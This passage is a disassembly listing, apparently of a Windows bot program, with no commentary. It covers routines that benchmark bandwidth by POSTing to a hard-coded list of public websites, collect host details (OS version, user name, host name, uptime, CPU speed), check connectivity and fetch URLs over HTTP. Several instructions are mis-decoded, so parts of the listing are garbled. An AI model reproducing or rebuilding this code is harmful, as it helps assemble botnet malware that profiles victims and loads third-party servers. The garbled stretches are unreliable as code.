ds:dword_4280A8 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi ; GetTickCount push eax call sub_41BAC8 call sub_41BAD2 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41B780 push 32000h push esi push ebx call sub_41B780 push ebx call sub_41B1D0 push 323EAh mov ebx, eax call sub_41D1B5 push ebx mov esi, eax push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41BA76 push [ebp+var_8] push esi call sub_41C0B0 push offset asc_4364CC ; "\r\n" push esi call sub_41C0B0 add esp, 40h push esi call sub_41B1D0 mov ebx, eax pop ecx mov [ebp+var_10], ebx call edi ; GetTickCount mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41A815 mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41A7E5 ; --------------------------------------------------------------------------- loc_41A7E2: ; CODE XREF: sub_41A6BE+155j mov eax, [ebp+arg_0] loc_41A7E5: ; CODE XREF: sub_41A6BE+122j mov ecx, [ebp+var_10] push 0 sub ecx, eax add eax, esi cmp ecx, ebx jnb short loc_41A7F7 push [ebp+var_C] jmp short loc_41A7F8 ; --------------------------------------------------------------------------- loc_41A7F7: ; CODE XREF: sub_41A6BE+132j push ebx loc_41A7F8: ; CODE XREF: sub_41A6BE+137j push eax push [ebp+var_4] call ds:dword_4CDC48 ; send cmp eax, 0FFFFFFFFh jz short loc_41A87E add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41A7E2 loc_41A815: ; CODE XREF: sub_41A6BE+118j call edi ; GetTickCount sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul ds:flt_428714 fst [ebp+arg_0] fcomp ds:flt_428710 fnstsw ax test ah, 44h jp short loc_41A83F fld1 fstp [ebp+arg_0] loc_41A83F: ; CODE XREF: sub_41A6BE+17Aj push [ebp+var_4] call ds:dword_4CDC90 ; closesocket push [ebp+var_8] call sub_41B2A1 push esi call sub_41B2A1 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul ds:flt_42870C fmul ds:flt_428708 call sub_41C988 loc_41A879: ; CODE XREF: sub_41A6BE+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A87E: ; CODE XREF: sub_41A6BE+147j push [ebp+var_4] call ds:dword_4CDC90 ; closesocket push [ebp+var_8] call sub_41B2A1 push esi call sub_41B2A1 pop ecx pop ecx loc_41A897: ; CODE XREF: sub_41A6BE+19j ; sub_41A6BE+42j ... xor eax, eax jmp short loc_41A879 sub_41A6BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A89B proc near ; CODE XREF: seg000:00404963p var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41A6A4 push [ebp+eax*4+var_3C] call sub_41A6BE push 8 mov esi, eax call sub_41A6A4 push [ebp+eax*4+var_3C] call sub_41A6BE add esp, 10h test esi, esi jz short loc_41A99C test eax, eax jz short loc_41A998 lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41A99E ; --------------------------------------------------------------------------- loc_41A998: ; CODE XREF: sub_41A89B+F4j mov ebx, esi jmp short loc_41A99E ; --------------------------------------------------------------------------- loc_41A99C: ; CODE XREF: sub_41A89B+F0j mov ebx, eax loc_41A99E: ; CODE XREF: sub_41A89B+FBj ; sub_41A89B+FFj push 0Ch call sub_41A6A4 push [ebp+eax*4+var_6C] call sub_41A6BE push 0Ch mov edi, eax call sub_41A6A4 push [ebp+eax*4+var_6C] call sub_41A6BE add esp, 10h test edi, edi jz short loc_41A9D6 test eax, eax jz short loc_41A9D2 lea esi, [eax+edi] shr esi, 1 jmp short loc_41A9D8 ; --------------------------------------------------------------------------- loc_41A9D2: ; CODE XREF: sub_41A89B+12Ej mov esi, edi jmp short loc_41A9D8 ; --------------------------------------------------------------------------- loc_41A9D6: ; CODE XREF: sub_41A89B+12Aj mov esi, eax loc_41A9D8: ; CODE XREF: sub_41A89B+135j ; sub_41A89B+139j push 6 call sub_41A6A4 push [ebp+eax*4+var_1C] call sub_41A6BE push 6 mov edi, eax call sub_41A6A4 push [ebp+eax*4+var_1C] call sub_41A6BE add esp, 10h test edi, edi jz short loc_41AA10 test eax, eax jz short loc_41AA0C lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41AA12 ; --------------------------------------------------------------------------- loc_41AA0C: ; CODE XREF: sub_41A89B+168j mov ecx, edi jmp short loc_41AA12 ; --------------------------------------------------------------------------- loc_41AA10: ; CODE XREF: sub_41A89B+164j mov ecx, eax loc_41AA12: ; CODE XREF: sub_41A89B+16Fj ; sub_41A89B+173j xor eax, eax test ebx, ebx jz short loc_41AA1F mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41AA22 ; --------------------------------------------------------------------------- loc_41AA1F: ; CODE XREF: sub_41A89B+17Bj push 2 pop edi loc_41AA22: ; CODE XREF: sub_41A89B+182j test esi, esi jz short loc_41AA2A add eax, esi jmp short loc_41AA2B ; --------------------------------------------------------------------------- loc_41AA2A: ; CODE XREF: sub_41A89B+189j dec edi loc_41AA2B: ; CODE XREF: sub_41A89B+18Dj test ecx, ecx jz short loc_41AA33 add eax, ecx jmp short loc_41AA34 ; --------------------------------------------------------------------------- loc_41AA33: ; CODE XREF: sub_41A89B+192j dec edi loc_41AA34: ; CODE XREF: sub_41A89B+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_43CAB8 push eax call sub_41BA76 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 lea eax, [ebp+var_26C] push eax call sub_4152AE add esp, 30h pop edi pop esi pop ebx leave retn sub_41A89B endp ; =============== S U B R O U T I N E ======================================= sub_41AA78 proc near ; CODE XREF: seg000:00404052p ; seg000:004044D6p ... arg_0 = dword ptr 4 push esi push edi call ds:dword_4280A8 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx xor edx, edx mov ecx, 15180h mov esi, 0E10h push 3Ch pop edi sub eax, [esp+8+arg_0] div ecx mov ecx, eax mov eax, edx xor edx, edx div esi mov esi, eax mov eax, edx xor edx, edx div edi push eax push esi push ecx push offset aDdDhDm ; "%dd %dh %dm" mov esi, offset dword_4DDE80 push 32h push esi call sub_41BB70 add esp, 18h mov eax, esi pop edi pop esi retn sub_41AA78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AACB proc near ; CODE XREF: sub_416F7D+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h call ds:dword_4280C8 ; GetVersionExA test eax, eax jz short loc_41AB5D cmp [ebp+var_90], 4 jnz short loc_41AB33 cmp [ebp+var_8C], esi jnz short loc_41AB1B cmp [ebp+var_84], 1 jnz short loc_41AB0D inc esi loc_41AB0D: ; CODE XREF: sub_41AACB+3Fj cmp [ebp+var_84], 2 jnz short loc_41AB5D xor esi, esi inc esi jmp short loc_41AB5D ; --------------------------------------------------------------------------- loc_41AB1B: ; CODE XREF: sub_41AACB+36j cmp [ebp+var_8C], 0Ah jnz short loc_41AB28 loc_41AB24: ; CODE XREF: sub_41AACB+77j push 2 jmp short loc_41AB5C ; --------------------------------------------------------------------------- loc_41AB28: ; CODE XREF: sub_41AACB+57j cmp [ebp+var_8C], 5Ah jnz short loc_41AB5D jmp short loc_41AB4D ; --------------------------------------------------------------------------- loc_41AB33: ; CODE XREF: sub_41AACB+2Ej cmp [ebp+var_90], 5 jnz short loc_41AB5D cmp [ebp+var_8C], esi jz short loc_41AB24 cmp [ebp+var_8C], 1 jnz short loc_41AB51 loc_41AB4D: ; CODE XREF: sub_41AACB+66j push 3 jmp short loc_41AB5C ; --------------------------------------------------------------------------- loc_41AB51: ; CODE XREF: sub_41AACB+80j cmp [ebp+var_8C], 2 jnz short loc_41AB5D push 7 loc_41AB5C: ; CODE XREF: sub_41AACB+5Bj ; sub_41AACB+84j pop esi loc_41AB5D: ; CODE XREF: sub_41AACB+25j ; sub_41AACB+49j ... mov eax, esi pop esi leave retn sub_41AACB endp ; =============== S U B R O U T I N E ======================================= sub_41AB62 proc near ; CODE XREF: sub_41AC18+290p push ebx push esi push edi mov edi, 0F4240h loc_41AB6A: ; CODE XREF: sub_41AB62+2Fj ; sub_41AB62+35j rdtsc push 3E8h mov ebx, edx mov esi, eax call ds:dword_428064 ; Sleep rdtsc sub eax, esi push 0 sbb edx, ebx push edi push edx push eax call sub_41D630 mov esi, edx mov ebx, eax test esi, esi ja short loc_41AB6A jb short loc_41AB99 cmp ebx, edi ja short loc_41AB6A loc_41AB99: ; CODE XREF: sub_41AB62+31j push 0 push 64h push esi push ebx call sub_41D6A0 mov ecx, edx push 64h xor edx, edx mov edi, eax test ecx, ecx pop eax ja short loc_41AC0C jb short loc_41ABB8 cmp edi, 50h jnb short loc_41ABBD loc_41ABB8: ; CODE XREF: sub_41AB62+4Fj push 4Bh xor edx, edx pop eax loc_41ABBD: ; CODE XREF: sub_41AB62+54j test ecx, ecx ja short loc_41AC0C jb short loc_41ABC8 cmp edi, 47h jnb short loc_41ABCD loc_41ABC8: ; CODE XREF: sub_41AB62+5Fj push 42h xor edx, edx pop eax loc_41ABCD: ; CODE XREF: sub_41AB62+64j test ecx, ecx ja short loc_41AC0C jb short loc_41ABD8 cmp edi, 37h jnb short loc_41ABDD loc_41ABD8: ; CODE XREF: sub_41AB62+6Fj push 32h xor edx, edx pop eax loc_41ABDD: ; CODE XREF: sub_41AB62+74j test ecx, ecx ja short loc_41AC0C jb short loc_41ABE8 cmp edi, 26h jnb short loc_41ABED loc_41ABE8: ; CODE XREF: sub_41AB62+7Fj push 21h xor edx, edx pop eax loc_41ABED: ; CODE XREF: sub_41AB62+84j test ecx, ecx ja short loc_41AC0C jb short loc_41ABF8 cmp edi, 1Eh jnb short loc_41ABFD loc_41ABF8: ; CODE XREF: sub_41AB62+8Fj push 19h xor edx, edx pop eax loc_41ABFD: ; CODE XREF: sub_41AB62+94j test ecx, ecx ja short loc_41AC0C jb short loc_41AC08 cmp edi, 0Ah jnb short loc_41AC0C loc_41AC08: ; CODE XREF: sub_41AB62+9Fj xor eax, eax xor edx, edx loc_41AC0C: ; CODE XREF: sub_41AB62+4Dj ; sub_41AB62+5Dj ... sub eax, edi pop edi sbb edx, ecx add eax, ebx adc edx, esi pop esi pop ebx retn sub_41AB62 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AC18 proc near ; CODE XREF: seg000:00404227p var_15B7B = byte ptr -15B7Bh var_1137C = dword ptr -1137Ch var_968 = byte ptr -968h var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 968h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset dword_43FDB4 mov [ebp+var_CC], 94h call ds:dword_4280C8 ; GetVersionExA xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41AC9F cmp [ebp+var_C4], ebx jnz short loc_41AC7B cmp [ebp+var_BC], 1 jnz short loc_41AC65 mov [ebp+var_4], offset a95 ; "95" loc_41AC65: ; CODE XREF: sub_41AC18+44j cmp [ebp+var_BC], 2 jnz loc_41AD1A mov [ebp+var_4], offset aNt_0 ; "NT" jmp short loc_41ACEB ; --------------------------------------------------------------------------- loc_41AC7B: ; CODE XREF: sub_41AC18+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41AC8D mov [ebp+var_4], offset a98 ; "98" jmp short loc_41ACE2 ; --------------------------------------------------------------------------- loc_41AC8D: ; CODE XREF: sub_41AC18+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41ACDB mov [ebp+var_4], offset aMe_0 ; "ME" jmp short loc_41ACE2 ; --------------------------------------------------------------------------- loc_41AC9F: ; CODE XREF: sub_41AC18+33j cmp [ebp+var_C8], 5 jnz short loc_41ACDB cmp [ebp+var_C4], ebx jnz short loc_41ACB9 mov [ebp+var_4], offset a2k ; "2K" jmp short loc_41ACE2 ; --------------------------------------------------------------------------- loc_41ACB9: ; CODE XREF: sub_41AC18+96j cmp [ebp+var_C4], 1 jnz short loc_41ACCB mov [ebp+var_4], offset aXp_0 ; "XP" jmp short loc_41ACE2 ; --------------------------------------------------------------------------- loc_41ACCB: ; CODE XREF: sub_41AC18+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41ACE2 loc_41ACDB: ; CODE XREF: sub_41AC18+7Cj ; sub_41AC18+8Ej mov [ebp+var_4], offset a??? ; "???" loc_41ACE2: ; CODE XREF: sub_41AC18+73j ; sub_41AC18+85j ... cmp [ebp+var_BC], 2 jnz short loc_41AD1A loc_41ACEB: ; CODE XREF: sub_41AC18+61j cmp [ebp+var_B8], bl jz short loc_41AD1A lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset aSS_2 ; "%s (%s)" push eax call sub_41BA76 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41AD1A: ; CODE XREF: sub_41AC18+54j ; sub_41AC18+D1j ... mov ax, ds:word_43A498 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, ds:dword_4CDAD8 mov [ebp+var_8], 100h cmp eax, ebx jz short loc_41AD53 lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_25C] push ecx call eax ; GetUserNameA loc_41AD53: ; CODE XREF: sub_41AC18+12Cj push [ebp+arg_4] call sub_40AAF8 pop ecx push eax call ds:dword_4CDC38 ; inet_addr mov [ebp+var_C], eax push 2 lea eax, [ebp+var_C] push 4 push eax call ds:dword_4CDBB0 ; gethostbyaddr cmp eax, ebx jz short loc_41AD7C push dword ptr [eax] jmp short loc_41AD81 ; --------------------------------------------------------------------------- loc_41AD7C: ; CODE XREF: sub_41AC18+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41AD81: ; CODE XREF: sub_41AC18+162j lea eax, [ebp+var_3E4] push eax call sub_41BA76 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax call near ptr 0B10000h ror [ebp+var_1137C+1], 0FFh push 46h push eax push offset dword_43CDAC push ebx mov esi, 409h push ebx push esi call near ptr 0B10000h or [ebp+var_15B7B], 0FFh push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call near ptr 0B10000h cli push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41B780 add esp, 0Ch lea eax, [ebp+var_38] push eax call near ptr 0B10000h aam 53h push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41BBC1 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_968] push eax call sub_416AA3 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41AA78 add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AAF8 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416994 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416994 pop ecx pop ecx push eax call sub_41AB62 push edx push eax push offset dword_43CCD0 push 200h push [ebp+arg_0] call sub_41BB70 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41AC18 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AECC proc near ; CODE XREF: seg000:00404255p ; seg000:00408CE3p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41B780 add esp, 0Ch cmp ds:dword_4CDCDC, 0 jnz short loc_41AF40 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call ds:dword_4CDABC ; InternetGetConnectedStateEx test eax, eax jnz short loc_41AF21 lea eax, [ebp+var_8C] push offset dword_43CE2C push eax call sub_41BA76 pop ecx pop ecx loc_41AF21: ; CODE XREF: sub_41AECC+40j test [ebp+var_C], 1 lea eax, [ebp+var_8] jz short loc_41AF39 push offset dword_43CE24 loc_41AF2F: ; CODE XREF: sub_41AECC+72j push eax call sub_41BA76 pop ecx pop ecx jmp short loc_41AF5F ; --------------------------------------------------------------------------- loc_41AF39: ; CODE XREF: sub_41AECC+5Cj push offset off_43CE20 jmp short loc_41AF2F ; --------------------------------------------------------------------------- loc_41AF40: ; CODE XREF: sub_41AECC+28j mov esi, offset off_43CE1C lea eax, [ebp+var_8] push esi push eax call sub_41BA76 lea eax, [ebp+var_8C] push esi push eax call sub_41BA76 add esp, 10h loc_41AF5F: ; CODE XREF: sub_41AECC+6Bj push [ebp+arg_4] push [ebp+arg_8] call sub_40AAF8 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_43CDD8 push 200h push [ebp+arg_0] call sub_41BB70 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41AECC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AF92 proc near ; DATA XREF: seg000:0040914Eo var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd xor esi, esi mov edi, 80h inc esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43CF0C call sub_41B780 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41B780 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41B780 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41B780 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41B780 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41B1D0 pop ecx push eax lea eax, [ebp+var_358] push eax call ds:dword_4CDAF4 ; InternetCrackUrlA test eax, eax jz loc_41B132 cmp [ebp+var_34], ebx jbe short loc_41B069 push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41B7E0 add esp, 0Ch loc_41B069: ; CODE XREF: sub_41AF92+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41B087 push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41B7E0 add esp, 0Ch loc_41B087: ; CODE XREF: sub_41AF92+DEj cmp [ebp+var_20], ebx jbe short loc_41B0A1 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41B7E0 add esp, 0Ch loc_41B0A1: ; CODE XREF: sub_41AF92+F8j cmp [ebp+var_18], ebx jbe short loc_41B0BB push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41B7E0 add esp, 0Ch loc_41B0BB: ; CODE XREF: sub_41AF92+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push ds:dword_4CDBA8 call ds:dword_4CDBCC ; InternetConnectA mov esi, eax cmp esi, ebx jz short loc_41B148 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call ds:dword_4CDBC0 ; HttpOpenRequestA cmp eax, ebx mov [ebp+var_4], eax jz short loc_41B14F push ebx push ebx push ebx push ebx push eax call ds:dword_4CDB6C ; HttpSendRequestA test eax, eax lea eax, [ebp+var_55C] jz short loc_41B12B push offset dword_43CEF0 jmp short loc_41B15A ; --------------------------------------------------------------------------- loc_41B12B: ; CODE XREF: sub_41AF92+190j push offset unk_43CEB4 jmp short loc_41B15A ; --------------------------------------------------------------------------- loc_41B132: ; CODE XREF: sub_41AF92+B7j lea eax, [ebp+var_55C] push offset dword_43CE98 push eax call sub_41BA76 mov esi, [ebp+var_C] jmp short loc_41B160 ; --------------------------------------------------------------------------- loc_41B148: ; CODE XREF: sub_41AF92+153j push offset unk_43CE6C jmp short loc_41B154 ; --------------------------------------------------------------------------- loc_41B14F: ; CODE XREF: sub_41AF92+17Bj push offset unk_43CE3C loc_41B154: ; CODE XREF: sub_41AF92+1BBj lea eax, [ebp+var_55C] loc_41B15A: ; CODE XREF: sub_41AF92+197j ; sub_41AF92+19Ej push eax call sub_41BA76 loc_41B160: ; CODE XREF: sub_41AF92+1B4j cmp [ebp+var_1D4], ebx pop ecx pop ecx jnz short loc_41B18D push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_409966 add esp, 14h loc_41B18D: ; CODE XREF: sub_41AF92+1D6j lea eax, [ebp+var_55C] push eax call sub_4152AE pop ecx push esi call ds:dword_4CDC2C ; InternetCloseHandle push [ebp+var_4] call ds:dword_4CDC2C ; InternetCloseHandle push [ebp+var_1D8] call sub_40B287 pop ecx push ebx call near ptr 0B10000h test [edi+5Eh], ebx pop ebx sub_41AF92 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41B1C0 proc near ; CODE XREF: sub_40E3D2+185p jmp ds:dword_4281DC sub_41B1C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B1D0 proc near ; CODE XREF: start+38p sub_4019DB+6Bp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B1F0 loc_41B1DC: ; CODE XREF: sub_41B1D0+19j mov al, [ecx] inc ecx test al, al jz short loc_41B223 test ecx, 3 jnz short loc_41B1DC add eax, 0 loc_41B1F0: ; CODE XREF: sub_41B1D0+Aj ; sub_41B1D0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B1F0 mov eax, [ecx-4] test al, al jz short loc_41B241 test ah, ah jz short loc_41B237 test eax, 0FF0000h jz short loc_41B22D test eax, 0FF000000h jz short loc_41B223 jmp short loc_41B1F0 ; --------------------------------------------------------------------------- loc_41B223: ; CODE XREF: sub_41B1D0+11j ; sub_41B1D0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B22D: ; CODE XREF: sub_41B1D0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B237: ; CODE XREF: sub_41B1D0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B241: ; CODE XREF: sub_41B1D0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41B1D0 endp ; =============== S U B R O U T I N E ======================================= sub_41B24B proc near ; CODE XREF: seg000:00401124p ; seg000:00407352p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41B260 or eax, 0FFFFFFFFh jmp short loc_41B29A ; --------------------------------------------------------------------------- loc_41B260: ; CODE XREF: sub_41B24B+Ej test al, 83h jz short loc_41B298 push esi call sub_41DDAB push esi mov edi, eax call sub_41DD45 push dword ptr [esi+10h] call sub_41DC92 add esp, 0Ch test eax, eax jge short loc_41B286 or edi, 0FFFFFFFFh jmp short loc_41B298 ; --------------------------------------------------------------------------- loc_41B286: ; CODE XREF: sub_41B24B+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41B298 push eax call sub_41B2A1 and dword ptr [esi+1Ch], 0 pop ecx loc_41B298: ; CODE XREF: sub_41B24B+17j ; sub_41B24B+39j ... mov eax, edi loc_41B29A: ; CODE XREF: sub_41B24B+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41B24B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B2A1 proc near ; CODE XREF: seg000:0040111Ep ; sub_40AA20+C3p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_41B307 mov eax, ds:dword_4DF548 cmp eax, 3 jnz short loc_41B2CD push esi call sub_41E097 pop ecx test eax, eax push esi jz short loc_41B2F9 push eax call sub_41E0C2 pop ecx pop ecx jmp short loc_41B307 ; 